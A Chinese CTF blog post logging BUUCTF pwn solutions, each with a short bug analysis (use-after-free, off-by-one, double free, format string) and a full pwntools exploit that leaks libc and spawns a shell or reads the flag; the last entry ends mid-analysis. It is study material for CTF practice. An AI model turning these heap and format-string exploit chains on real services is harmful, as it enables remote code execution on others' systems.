BUUCTF刷题记录


0x1.gyctf_2020_signin

环境是2.27.这题的考点在于,calloc不会从tcache中取chunk,而是直接从fastbin中取,并且会将fastbin中剩余的chunk链入tcache

程序的漏洞在于dele函数中,有uaf漏洞,同时还存在一个后门函数,先使用calloc分配一个chunk,如果ptr不为0,就可getshell

exp如下:

#!/usr/bin/python
from pwn import *
from time import sleep
context.log_level='debug'
context.binary='./gyctf_2020_signin'
#io = process('./gyctf_2020_signin')
io=remote('node3.buuoj.cn',25777)
elf = ELF('gyctf_2020_signin')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def add(index):
    io.recvuntil('your choice?')
    io.sendline('1')
    io.recvuntil('idx?')
    io.sendline(str(index))


def edit(index, data):
    io.recvuntil('your choice?')
    io.sendline('2')
    io.recvuntil('idx?')
    io.sendline(str(index))
    #sleep(0.1)
    io.sendline(data)


def dele(index):
    io.recvuntil('your choice?')
    io.sendline('3')
    io.recvuntil('idx?')
    io.sendline(str(index))

def getshell():
    io.recvuntil('your choice?')
    io.sendline('6')

ptr=0x4040c0
add(0)
add(1)
add(2)
add(3)
add(4)
add(5)
add(6)
add(7)

dele(0)
dele(1)
dele(2)
dele(3)
dele(4)
dele(5)
dele(6)
dele(7)

add(8)

edit(7,p64(ptr-0x10).ljust(0x50,'\x00'))
#gdb.attach(io,'b calloc')
getshell()
io.interactive()

即先将tcache填满,之后free一个chunk进入fastbin,接着从tcache申请一块,然后调用后门函数,触发calloc,将ptr处写入前一个tcache的地址即可getshell

0x2.gyctf_2020_document

程序保护全开

增删查改四个功能,add功能有点冗长,主要就是分配两个chunk,一个大小为0x20,一个0x90,前者的内容为后者的指针和一个标志位,记录该chunk是否被修改过(只允许修改一次),0x90大小的chunk的数据段的前0x10大小记录namesex,后0x70记录information

漏洞点位于dele函数,uaf漏洞

并且editshow功能通过0x20大小chunk中存在的指针来进行相应操作,这也可以利用.由于我们可以分配的chunk大小固定为0x20和0x90,所以无法攻击malloc_hook,这里采用改free_hooksystem的攻击方式,exp如下:

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
context.binary = './gyctf_2020_document'
# io = process('./gyctf_2020_document')
io = remote('node3.buuoj.cn', 28239)
elf = ELF('gyctf_2020_document')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def add(name, data, sex='F'):
    io.recvuntil(': ')
    io.send('1')
    io.recvuntil('input name')
    io.send(name)
    io.recvuntil('input sex')
    io.send(sex)
    io.recvuntil('information')
    io.send(data)


def show(index):
    io.recvuntil(': ')
    io.sendline('2')
    io.recvuntil(': ')
    io.sendline(str(index))


def edit(index, data, change='Y'):
    io.recvuntil(': ')
    io.sendline('3')
    io.recvuntil(': ')
    io.send(str(index))
    io.recvuntil('sex?')
    io.send(change)
    io.recvuntil('information')
    io.send(data)


def dele(index):
    io.recvuntil(': ')
    io.sendline('4')
    io.recvuntil(': ')
    io.sendline(str(index))


add('/bin/sh\x00', 'a'*0x70)
add('/bin/sh\x00', '/bin/sh\x00'.ljust(0x70, '\x00'))
dele(0)

show(0)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3c4b78
__free_hook = libc_base+libc.symbols['__free_hook']
system_addr = libc_base+libc.symbols['system']
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('__free_hook => {}'.format(hex(__free_hook)))
log.success('system_addr => {}'.format(hex(system_addr)))
add('/bin/sh\x00', '/bin/sh\x00'.ljust(0x70, '\x00'))
add('/bin/sh\x00', '/bin/sh\x00'.ljust(0x70, '\x00'))
edit(0, p64(0)+p64(0x21)+p64(__free_hook-0x10).ljust(0x60, '\x31'))
edit(3, p64(system_addr).ljust(0x70, '\x00'))
# gdb.attach(io)
dele(1)
io.interactive()

利用uaf漏洞,造成堆块重叠,使我们可以控制0x20大小的chunk中的指针,将指针改为free_hook的地址即可,然后利用edit修改为system

0x3.[极客大挑战 2019]Not Bad

这题没有任何保护,存在沙箱,无法getshell,所以考虑使用orw攻击读取flag

程序在0x123000处开辟了一块内存

考虑首先在栈中利用shellcode往0x123000处写入orw的shellcode,然后调用0x123000处的shellcode即可,exp如下:

#!/usr/bin/python
from pwn import *
from time import sleep
context.binary=ELF('./bad')
context.log_level = 'debug'
#io = process('./bad')
io = remote('node3.buuoj.cn', 28529)
jmp_rsp = 0x400a01

orw_payload = shellcraft.open('./flag')
orw_payload += shellcraft.read(3, 0x123100, 0x50)
orw_payload += shellcraft.write(1, 0x123100, 0x50)

payload = asm(shellcraft.read(0, 0x123000, 0x100)) + \
    asm('mov rax,0x123000;call rax')
payload = payload.ljust(0x28, 'a')
payload += p64(jmp_rsp)
payload += asm('sub rsp,0x30;jmp rsp')

io.recvuntil('have fun!')
io.send(payload)

io.send(asm(orw_payload))
io.interactive()

0x4.axb_2019_fmt64

程序无限循环,got表可写

首先泄露libc地址,然后将printfgot表值修改为system的地址,输入/bin/sh即可getshell.exp如下:

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#io = process('./axb_2019_fmt64')
io=remote('node3.buuoj.cn',26696)
elf = ELF('./axb_2019_fmt64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

io.recv()
payload = 'lock' + '%9$s' + p64(elf.got['puts'])
io.sendline(payload)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
log.success('puts_addr => {}'.format(hex(puts_addr)))
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))

offset0 = system_addr & 0xffff
offset1 = system_addr >> 16 & 0xffff
log.success('offset0 => {}'.format(offset0))
log.success('offset1 => {}'.format(offset1))

payload = '%'+str(offset0-9)+'c%12$hn'
payload += '%'+str(offset1-offset0)+'c%13$hn'
payload = payload.ljust(0x20, 'a')
payload += p64(elf.got['printf'])+p64(elf.got['printf']+2)

io.sendline(payload)
io.recv()
io.sendline(';/bin/sh')
io.interactive()

由于printf的地址和system的地址只有后5位不一样,所以我们修改后三个字节即可,不过这里我们依然修改后四个字节,

'%'+str(offset0-9)+'c%12$hn'

这一句是修改后两个字节,-9是因为前面还会输出Repeater:,即已经输出了9个字节,所以我们要减去9

'%'+str(offset1-offset0)+'c%13$hn'

这一句则是修改倒数第三和第四个字节,由于已经输出了offset0个字节,所以要减去offset0

剩下的payload就是八字节对齐,把printf和printf+2放在对应的位置上

0x5.roarctf_2019_realloc_magic

这题考点在于realloc,函数原型如下

void *realloc( void *ptr, [size_t]new_size )

ptr 为需要重新分配的内存空间指针,new_size为新的内存空间的大小

具体用法为

size == 0 ,這個時候等同於free
realloc_ptr == 0 && size > 0 , 這個時候等同於malloc
malloc_usable_size(realloc_ptr) >= size, 這個時候等同於edit
malloc_usable_size(realloc_ptr) < szie, 這個時候才是malloc一塊更大的記憶體,將原來的內容複製過去,再將原來的chunk給free掉

即,根据ptr和size值的不同,realloc将有free,malloc,edit和extend四种功能再回到题目来

程序保护全开,有三个功能

re功能就是通过realloc分配chunk

fr功能就是free掉当前指针指向的chunk,存在uaf漏洞

ba功能就是将指针清零,只能使用一次

由于程序缺少show功能,所以我们需要改stdout来泄露地址,exp如下

#!/usr/bin/python
#!coding=utf-8
from pwn import *
#context.log_level = 'debug'

libc = ELF('./libc-2.27_x64.so')


def realloc(size, data):
    io.recvuntil('>> ')
    io.sendline('1')
    io.recvuntil('Size?')
    io.sendline(str(size))
    io.recvuntil('Content?')
    io.send(data)


def free():
    io.recvuntil('>> ')
    io.sendline('2')


def pwn():
    realloc(0x70, 'a')
    realloc(0, '')
    realloc(0x100, 'b')
    realloc(0, '')
    realloc(0xa0, 'c')
    realloc(0, '')
    realloc(0x100, 'b')
    [free() for i in range(7)]  # fill tcache
    #gdb.attach(io)
    realloc(0, '')  # to unsortbin fd->arena
    realloc(0x70, 'a')

    realloc(0x180, 'c'*0x78+p64(0x41)+p8(0x60)+p8(0x87))  # overlap
    realloc(0, '')
    realloc(0x100, 'a')

    realloc(0, '')

    # get _IO_2_1_stdout_  修改flag和write_base
    realloc(0x100, p64(0xfbad1887)+p64(0)*3+p8(0x58))

    # get_libc
    libc_base = u64(io.recvuntil("\x7f", timeout=0.1)
                    [-6:].ljust(8, '\x00'))-0x3e82a0  
    if libc_base == -0x3e82a0:
        exit(-1)
    log.success("libc_base => {}".format(hex(libc_base)))
    free_hook = libc_base+libc.sym['__free_hook']
    one_gadget = libc_base + 0x4f322
    log.success("free_hook => {}".format(hex(free_hook)))
    log.success("one_gadget => {}".format(hex(one_gadget)))

    io.sendline('666')
    realloc(0x120, 'a')
    realloc(0, '')
    realloc(0x130, 'a')
    realloc(0, '')
    realloc(0x170, 'a')
    realloc(0, '')

    realloc(0x130, 'a')
    [free() for i in range(7)]
    realloc(0, '')

    realloc(0x120, 'a')
    realloc(0x260, 'a'*0x128+p64(0x41)+p64(free_hook))
    #gdb.attach(io)
    realloc(0, '')
    realloc(0x130, 'a')
    realloc(0, '')
    realloc(0x130, p64(one_gadget))
    free()
    io.interactive()


if __name__ == "__main__":
    while True:
        #io = remote('node3.buuoj.cn', 29807)
        io = process('./roarctf_2019_realloc_magic')
        try:
            pwn()
        except:
            io.close()

0x6.ciscn_2019_final_5

这题的洞很不好找,还是因为我太菜了,首先检查程序保护机制

got表可写,无PIE

共有增删改三个功能

漏洞点存在于add功能中

sub_400AB0函数功能如下

返回两个两个参数按位或之后的值,然后将这个值存入0x6020e0中,0x6020e0是一个数组,并且,这个程序中存储chunk的地址不是按照我们输入的序号来存的,而是从头遍历数组,依次存入地址

当我们分配第一个chunk且输入序号为16时,返回指针的后三位是0x260,然后0x260|16=0x270,最终存入数组中的地址的后三位为0x270,这样我们就可以在0x270处伪造一个chunk头,造成chunkoverlap

然后,这题有一点很🐕,就是在edit功能中

这个函数会将content[i]与0xf按位与,当content[i]&0xf==index时,就往content[i]&0xFFFFFFFFFFFFFFF0处写数据,先贴上exp:

from pwn import *

#r = remote("node3.buuoj.cn", 28849)
r = process("./ciscn_final_5")

context.log_level = 'debug'

elf = ELF("ciscn_final_5")
libc = ELF('libc.so.6')
content = 0x6020e0
free_got = 0x602018
puts_plt = 0x400790
puts_got = 0x602020
atoi_got = 0x602078


def add(index, size, content):
    r.recvuntil("your choice: ")
    r.sendline('1')
    r.recvuntil("index: ")
    r.sendline(str(index))
    r.recvuntil("size: ")
    r.sendline(str(size))
    r.recvuntil("content: ")
    r.send(content)


def delete(index):
    r.recvuntil("your choice: ")
    r.sendline('2')
    r.recvuntil("index: ")
    r.sendline(str(index))


def edit(index, content):
    r.recvuntil("your choice: ")
    r.sendline('3')
    r.recvuntil("index: ")
    r.sendline(str(index))
    r.recvuntil("content: ")
    r.send(content)


add(16, 0x10, p64(0)+p64(0x90))
add(1, 0xc0, 'aa\n')
delete(0)
delete(1)

add(2, 0x80, p64(0)+p64(0xd0)+p64(content))
add(3, 0xc0, 'aaa\n')
add(4, 0xc0, p64(free_got)+p64(puts_got+1)+p64(atoi_got-4)+p64(0)*17+p32(0x10)*8)

#gdb.attach(r)
edit(8, p64(puts_plt)*2)
gdb.attach(r)
delete(1)
puts = u64(r.recv(6).ljust(8, '\x00'))
success("puts:"+hex(puts))
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.sym['system']
edit(4, p64(system)*2)
r.recvuntil("your choice: ")
r.sendline('/bin/sh\x00')
r.interactive()

通过构造overlap,我们将chunk分配到了content数组处,并将content前几个值修改为了p64(free_got)+p64(puts_got+1)+p64(atoi_got-4)

然后我们需要将free@got修改为puts函数,根据edit的要求,我们输入index为8,content[0]=free@got=0x602018,0x602018&0xf=8==index,0x602018&0xFFFFFFFFFFFFFFF0=0x602010,所以最终我们是往0x602010处写数据,于是传入两个puts_plt,将free@got修改为put_plt,然后delete(1),相当于puts(1),由于puts@got的最后一位是0,微调一下+1,后面的就是修改atoisystem,步骤和前面修改free@got差不多。

0x7.gyctf_2020_some_thing_interesting

虽然保护全开,但是无什么难度,存在uaf,并且还给了一个格式化字符串漏洞来泄露地址,所以先泄露地址然后uaf打malloc_hook,exp如下:

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
# io = process('./gyctf_2020_some_thing_interesting')
io = remote('node3.buuoj.cn', 29702)
elf = ELF('gyctf_2020_some_thing_interesting')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def check():
    io.recvuntil(':')
    io.sendline('0')


def add(size0, data0, sizere, datare):
    io.recvuntil(':')
    io.sendline('1')
    io.recvuntil(': ')
    io.sendline(str(size0))
    io.recvuntil(': ')
    io.send(data0)
    io.recvuntil(': ')
    io.sendline(str(sizere))
    io.recvuntil(': ')
    io.send(datare)


def edit(index, data0, datare):
    io.recvuntil(':')
    io.sendline('2')
    io.recvuntil(': ')
    io.sendline(str(index))
    io.recvuntil(': ')
    io.send(data0)
    io.recvuntil(': ')
    io.send(datare)


def dele(index):
    io.recvuntil(':')
    io.sendline('3')
    io.recvuntil(': ')
    io.sendline(str(index))


def show(index):
    io.recvuntil(':')
    io.sendline('4')
    io.recvuntil(': ')
    io.sendline(str(index))


io.recvuntil(':')
io.sendline('OreOOrereOOreO%17$p')
check()
io.recvuntil('OreOOrereOOreO')
libc_base = int(io.recv(14), 16)-libc.symbols['__libc_start_main']-240
__malloc_hook_addr = libc_base+libc.symbols['__malloc_hook']
__libc_realloc_addr = libc_base+libc.symbols['__libc_realloc']
onegadget = libc_base+0x4526a
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('__malloc_hook_addr => {}'.format(hex(__malloc_hook_addr)))
log.success('__libc_realloc_addr => {}'.format(hex(__libc_realloc_addr)))
log.success('onegadget => {}'.format(hex(onegadget)))

add(0x60, 'a', 0x60, 'a')
dele(1)

edit(1, p64(__malloc_hook_addr-0x23), p64(__malloc_hook_addr-0x23))

add(0x60, 'a', 0x60, 'a'*0xb+p64(onegadget)+p64(__libc_realloc_addr+8))
# gdb.attach(io)
io.recvuntil(':')
io.sendline('1')
io.recvuntil(': ')
io.sendline(str(1))

io.interactive()

0x8.roarctf_2019_easy_pwn

保护全开,四个功能,增删查改,在edit功能中存在off-by-one,当我们输入的要修改的new_size==old_size+10时,就会产生一个off-by-one

由于程序使用的是calloc,calloc会清空申请过来的chunk的内容,所以不能通过申请一个大小在unsortedbin中的chunk然后free再申请回来的方法泄露地址,于是我们要构造处堆块复用,之后再利用一次堆块复用造成fastbinattack,即由chunk0溢出到chunk1,使chunk1的大小被修改为chunk1_size+chunk2_size,之后free chunk1,于是把chunk2也放入了bin中,然后在分两次把chunk1和chunk2申请回来,此时,我们第二次申请过来的chunk2既是chunk2也是另一个堆块,我们称之为chunkn,chunk2和chunkn公用一个chunk,我们free掉chunk2,edit chunkn,实际上也就是在editchunk2,修改chunk2的fd指向malloc_hook-0x23即可,exp如下:

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
context.binary = './roarctf_2019_easy_pwn'
io = process('./roarctf_2019_easy_pwn')
elf = ELF('roarctf_2019_easy_pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# r = remote('node3.buuoj.cn', 25724)


def add(size):
    io.recvuntil("choice: ")
    io.sendline(str(1))
    io.recvuntil("size: ")
    io.sendline(str(size))


def edit(index, size, content):
    io.recvuntil("choice: ")
    io.sendline(str(2))
    io.recvuntil("index: ")
    io.sendline(str(index))
    io.recvuntil("size: ")
    io.sendline(str(size))
    io.recvuntil("content: ")
    io.sendline(content)


def free(index):
    io.recvuntil("choice: ")
    io.sendline(str(3))
    io.recvuntil("index: ")
    io.sendline(str(index))


def show(index):
    io.recvuntil("choice: ")
    io.sendline(str(4))
    io.recvuntil("index: ")
    io.sendline(str(index))


add(0x68)
add(0x68)
add(0x68)
add(0x68)
add(0x68)

payload = 'A'*0x68+p8(0xe1)
edit(0, 0x68+0xa, payload)
free(1)
add(0x68)
show(2)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3c4b78
__malloc_hook = libc_base+libc.symbols['__malloc_hook']
__libc_realloc = libc_base+libc.symbols['__libc_realloc']
onegadget = libc_base+0x4526a
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('__malloc_hook => {}'.format(hex(__malloc_hook)))
log.success('__libc_realloc => {}'.format(hex(__libc_realloc)))
log.success('onegadget => {}'.format(hex(onegadget)))
payload = p64(__malloc_hook-0x23)
add(0x60)

free(2)

edit(5, 8, payload)
# gdb.attach(io)
add(0x68)
add(0x68)
payload = 'a'*0xb+p64(onegadget)+p64(__libc_realloc)
edit(6, len(payload), payload)
add(1)
io.interactive()

0x9.安恒四月赛sales_office(libc2.29)

got表可写,无PIE

程序的存储结构类似于content(0x20)–>chunk,即系统分配一个0x20大小的chunk,存储着用户分配的chunk的地址。这道题一共有两个环境,一个2.27的,由于存在uaf,2.27的利用非常简单,相对于2.27,2.29的tcache存在对doublefree的检测,所以难度更大了一些,但fastbin中依旧可以doublefree,所以我们只需要把tcache填满,在fastbin中进行doublefree即可,exp如下:

#!/usr/bin/python
from pwn import*
context.log_level = 'debug'
context.binary = './sales_office'
context.terminal = ['tmux', 'splitw', '-h']
io = process('./sales_office')
# io = remote('das.wetolink.com', 28499)
elf = ELF('./sales_office')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.29.so')


def add(size, content):
    io.recvuntil('choice:')
    io.sendline('1')
    io.recvuntil('house:')
    io.sendline(str(size))
    io.recvuntil('your house:')
    io.send(content)


def show(index):
    io.recvuntil('choice:')
    io.sendline('3')
    io.recvuntil('index:')
    io.sendline(str(index))


def dele(index):
    io.recvuntil('choice:')
    io.sendline('4')
    io.recvuntil('index:')
    io.sendline(str(index))


for i in range(5):
    add(0x10, 'a')

for i in range(4):
    dele(i)

add(0x10, p64(elf.got['__libc_start_main']))

show(2)
libc_base = u64(io.recvuntil('\x7f')
                [-6:].ljust(8, '\x00'))-libc.symbols['__libc_start_main']
system_addr = libc_base+libc.symbols['system']
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))

dele(4)
dele(5)
dele(3)

add(0x10, 'a')
add(0x10, 'a')
add(0x10, 'a')
add(0x10, p64(elf.got['atoi']))
# gdb.attach(io)
add(0x60, 'a')
add(0x10, p64(system_addr))
io.recvuntil('choice:')
io.sendline('/bin/sh\x00')
io.interactive()

0xa.hitcon_2018_children_tcache

考察点:off-by-null

题目保护全开,但由于是2.27的libc,存在tcache,所以利用会简单些

漏洞点在new功能中输入data的函数

  signed __int64 result; // rax
  int v3; // [rsp+1Ch] [rbp-4h]

  v3 = __read_chk(0LL, a1, a2, a2);
  if ( v3 <= 0 )
  {
    puts("read error");
    _exit(1);
  }
  result = *(unsigned __int8 *)(v3 - 1LL + a1);
  if ( (_BYTE)result == 10 )
  {
    result = v3 - 1LL + a1;
    *(_BYTE *)result = 0;
  }
  return result;

最后会将空格换为null

所以我们可以通过off-by-one泄露地址,并构造出堆块复用,造成doublefree,攻击malloc_hook

exp如下

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
context.binary = './HITCON_2018_children_tcache'
#io = process('./HITCON_2018_children_tcache')
io = remote('node3.buuoj.cn', 28160)
elf = ELF('HITCON_2018_children_tcache')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def add(size, content):
    io.recvuntil(": ")
    io.sendline(str(1))
    io.recvuntil(":")
    io.sendline(str(size))
    io.recvuntil(":")
    io.sendline(content)


def show(index):
    io.recvuntil(": ")
    io.sendline(str(2))
    io.recvuntil(":")
    io.sendline(str(index))


def dele(index):
    io.recvuntil(": ")
    io.sendline(str(3))
    io.recvuntil(":")
    io.sendline(str(index))


add(0x500, "a")    # 0
add(0x28, "b")     # 1
add(0x4f0, "c")    # 2
add(0x20, "/bin/sh\x00")     # 3
dele(1)
dele(0)

for i in range(0, 9):
    add(0x28-i, 'A'*(0x28-i))       # 0
    dele(0)
add(0x28, 'B'*0x20+p64(0x540))      # 0
dele(2)

add(0x500, 'A')     # 1
show(0)
libc_base = u64(io.recv(6).ljust(8, '\x00'))-0x3ebca0
free_hook = libc_base+libc.symbols['__free_hook']
system_addr = libc_base+libc.symbols['system']
__malloc_hook = libc_base+libc.symbols['__malloc_hook']
onegadget = libc_base+0x4f322
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('free_hook => {}'.format(hex(free_hook)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('malloc_hook => {}'.format(hex(__malloc_hook)))
log.success('onegadget => {}'.format(hex(onegadget)))

add(0x28, 'b')
dele(2)
dele(0)
add(0x28, p64(__malloc_hook))
add(0x28, p64(__malloc_hook))
add(0x28, p64(onegadget))
io.recvuntil(": ")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.interactive()

泄露地址的思路为:构造三个chunk,编号为0,1,2,通过chunk1off-by-onechunk2,将chunk2的prevsize设置为chunk0+chunk1,并将其标志位清零,这样dele2就会将chunk012一起dele,dele chunk2之前我们需要先将chunk0dele,然后我们将chunk0申请回来,main_arena的地址就落到了chunk1上,而chunk1仍在使用状态,所以我们只需要show(1)就能泄露出libc地址,这里需要注意的是,dele函数在free掉相应的chunk后,会将数据段全部置为0xda,所以我们需要将chunk2的prevsize位(也就是chunk1的最后八字节)每次一字节清零,然后再进行offbynull。

有了地址之后我们就能算出其他函数在内存中的地址,然后我们再申请一个chunk1大小的chunk,即为chunk2(原本的chunk2已经被free),这样chunk1和chunk2指向的是同一块地址,我们dele(1),dele(2),就能造成doublefree,然后劫持malloc_hook即可getshell

0xb.npuctf_2020_level2

Ubuntu18的环境,一道格式化字符串在bss段上的题,除了canary其他保护全部开启.我最不擅长的类型就是格式化字符串,这种在bss段上的题目从来没做过,平常做的也都是一些简单的复写got表的题目,这道题目困扰了我很久,比赛最后一天才出来,先把exp贴上

#!/usr/bin/python
from pwn import *
context.log_level='debug'
#io = process("./level2")
#io=remote('ha1cyon-ctf.fun',30258)
io=remote('node3.buuoj.cn',28126)
elf = ELF('level2')
libc = ELF('libc-2.27_x64.so')

payload = "%6$p%7$p%9$p"
io.send(payload)
pro_base = int(io.recv(14), 16)-0x830
libc_base = int(io.recv(14), 16)-libc.symbols['__libc_start_main']-231
stack = int(io.recv(14), 16)-232
log.success('pro_base => {}'.format(hex(pro_base)))
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('stack => {}'.format(hex(stack)))


onegadget = libc_base+0x4f322
offset0 = stack & 0xffff
offset1 = onegadget & 0xffff
offset2 = (onegadget >> 16) & 0xffff
log.success('onegadget => {}'.format(hex(onegadget)))
log.success('offset0 => {}'.format(hex(offset0)))
log.success('offset1 => {}'.format(hex(offset1)))
log.success('offset2 => {}'.format(hex(offset2)))

payload = "%"+str(offset0+8)+"c"+"%9$hnxxxx\x00"
#gdb.attach(io)
io.sendline(payload)
io.recvuntil("xxxx")
payload = "%"+str(offset1)+"c"+"%35$hnxxxx\x00"
io.sendline(payload)
io.recvuntil("xxxx")
payload = "%"+str(offset0+10)+"c"+"%9$hnxxxx\x00"
io.sendline(payload)
io.recvuntil("xxxx")
payload = "%"+str(offset2)+"c"+"%35$hnxxxx\x00"
io.sendline(payload)
io.recvuntil("xxxx")
io.sendline("66666666\x00")
io.interactive()

程序可以无限次循环,直到输入66666666退出格式化字符串在bss段上的程序,无论输入多少个%p我们都得不到格式化字符串的偏移,这样的题目一般是在栈上找一条链,以此作为跳板修改rip的最后几个字节为onegadget,下面我们来看看这道题目首先我们要泄露libc地址,栈地址以及程序加载的基地址,这些在栈中都能找到相应的值加以运算就能得到

通过这三个箭头指向的值我么能分别算出程序加载的基地址,libc基地址和栈地址,这三个值对应的偏移分别是6,7,9,偏移都是一个个试出来的程序加载地址和程序加载基地址的偏移都是固定的

我们只需要计算出偏移即可知道了三个地址之后,接着就要以栈中的某一条链作为跳板来修改rip了,这条链其实就在偏移为9的位置

接着,我们将偏移为9的那条链中的值指向的地址改为rip,修改之后如下

接着,我们修改r13下面那个地址的值(偏移为35)的后四位为onegadget的后四位,这样的话,rip的后四位也会相应改变修改之后如下

不过onegadget和libc_start_main的地址的后六位不一样,所以我们要继续修改两位,于是我们再将__libc_start_main_往后挪两位,然后将onegadget移位,重复之前的过程即可

0xc.npuctf_2020_bad_guy

保护全开的程序,漏洞点在edit功能中,存在存在堆溢出,没有show功能

整体思路就是通过覆盖main_arena的后四位到stdout来泄露libc地址,然后劫持malloc_hook,exp如下

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
# io=process('./badguy')
elf = ELF('badguy')
libc = ELF('libc-2.23_x64.so')


def add(index, size, content):
    io.recvuntil('>> ')
    io.sendline('1')
    io.recvuntil(':')
    io.sendline(str(index))
    io.recvuntil(': ')
    io.sendline(str(size))
    io.recvuntil(':')
    io.send(content)


def edit(index, size, content):
    io.recvuntil('>> ')
    io.sendline('2')
    io.recvuntil(':')
    io.sendline(str(index))
    io.recvuntil(': ')
    io.sendline(str(size))
    io.recvuntil(': ')
    io.send(content)


def dele(index):
    io.recvuntil('>> ')
    io.sendline('3')
    io.recvuntil(':')
    io.sendline(str(index))


def pwn():
    add(0, 0x18, 'a')
    add(1, 0x60, 'a')
    add(2, 0x20, 'a')
    add(3, 0x60, 'a')
    add(4, 0x60, 'a')

    edit(0, 0x30, 'a'*0x18+p64(0xa1))
    dele(1)
    add(1, 0x60, '\xdd\xf5')
    add(5, 0x60, 'a')
    dele(3)
    dele(5)
    edit(4, 0x100, 'a'*0x60+p64(0)+p64(0x71)+'\x20')
    add(3, 0x60, 'a')
    add(5, 0x60, '\x00')
    add(6, 0x60, cyclic(51) + p64(0xfbad1800) + p64(0) * 3 + '\x08')
    io.recv(0x40)
    libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3c56a3
    log.success('libc_base: ' + hex(libc_base))
    onegadget = libc_base + 0xf1147
    __malloc_hook_addr = libc_base + 0x3c4b10
    log.success('__malloc_hook_addr: ' + hex(__malloc_hook_addr))
    log.success('onegadget => {}'.format(hex(onegadget)))
    add(7, 0x60, 'a')
    dele(7)
    edit(3, 0x80, 'a'*0x68+p64(0x71)+p64(__malloc_hook_addr-0x23))
    add(7, 0x60, 'a')
    add(8, 0x60, 'a'*0x13+p64(onegadget))
    # gdb.attach(io)
    dele(0)

    io.recvuntil('>> ')
    io.sendline('1')
    io.recvuntil(':')
    io.sendline('0')
    io.recvuntil(': ')
    io.sendline('1')

    io.interactive()


if __name__ == '__main__':
    while True:
        try:
            io = process('./badguy')
            #io=remote('ha1cyon-ctf.fun',30115)
            pwn()
        except:
            io.close()

先通过堆溢出,在堆上踩下main_arena的地址(做麻烦了,不必这样的),然后把那块chunk申请回来,并修改fd上的数据的最后四位为stdout的最后四位(main_arena的地址落在fd上了)再申请另一块chunk,free掉,通过这块被free的chunk的上一块chunk进行溢出,覆盖其fd指向之前那块fd指向stdout的chunk,这样当我们add两次,就有几率申请到stdout附近,泄露出libc地址。有了地址之后,又有堆溢出,简直是为所欲为,就不细🔒了

0xc.npuctf_2020_easyheap

很简单的一道题,2.27的环境,got表可写,存在off-by-one漏洞

先贴上exp

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#io = process('./npuctf_2020_easyheap')
io=remote('node3.buuoj.cn',29074)
elf = ELF('npuctf_2020_easyheap')
libc = ELF('libc-2.27_x64.so')


def add(size, content):
    io.recvuntil(':')
    io.sendline('1')
    io.recvuntil(': ')
    io.sendline(str(size))
    io.recvuntil(':')
    io.sendline(content)


def edit(index, content):
    io.recvuntil(':')
    io.sendline('2')
    io.recvuntil(':')
    io.sendline(str(index))
    io.recvuntil(': ')
    io.sendline(content)


def show(index):
    io.recvuntil(':')
    io.sendline('3')
    io.recvuntil(':')
    io.sendline(str(index))


def dele(index):
    io.recvuntil(':')
    io.sendline('4')
    io.recvuntil(':')
    io.sendline(str(index))


add(0x18, 'a')
add(0x18, 'a')
add(0x18, '/bin/sh\x00')

edit(0, 'a'*0x18+p64(0x41))
dele(1)
add(0x38, 'a'*0x18+p64(0x21)+p64(0x38)+p64(elf.got['free']))
show(1)
free_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = free_addr-libc.symbols['free']
system_addr = libc_base+libc.symbols['system']
log.success('free_addr => {}'.format(hex(free_addr)))
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))

edit(1, p64(system_addr))
dele(2)
io.interactive()

这个程序是一种content—–>data的结构,content中存放着data的指针,show和edit操作都是通过content中的指针来操作的。利用思路为:通过off-by-one,我们可以将我们分配的chunk和程序分配的chunk构造出堆块复用,然后将程序分配的0x20大小的chunk中储存我们申请的chunk的地址修改为free@got的值,这样show这个chunk就能show出free的地址,进而求得system的地址,然后edit这个chunk,将free@got修改为system即可

0xd.zctf_2016_note3

got表可写,虽然增删查改四个功能都有,但show功能🔨用没有,所以还是需要修改got表来泄露地址,这就得用到unlink。粗略一看并不能发现明显的漏洞,仔细审一审才发现漏洞在edit功能中

  puts("Input the id of the note:");
  v0 = sub_4009B9("Input the id of the note:");
  v3 = v0
     - 7
     * (((signed __int64)((unsigned __int128)(5270498306774157605LL * (signed __int128)v0) >> 64) >> 1) - (v0 >> 63));
  if ( v0
     - 7
     * (((signed __int64)((unsigned __int128)(5270498306774157605LL * (signed __int128)v0) >> 64) >> 1) - (v0 >> 63)) >= v0 )
  {
    v1 = ptr[v3];
    if ( v1 )
    {
      puts("Input the new content:");
      sub_4008DD((__int64)ptr[v3], qword_6020C0[v3 + 8], 10);
      qword_6020C0[0] = (__int64)ptr[v3];
      LODWORD(v1) = puts("Edit success");
    }
  }
  else
  {
    LODWORD(v1) = puts("please input correct id.");
  }
  return (signed int)v1;

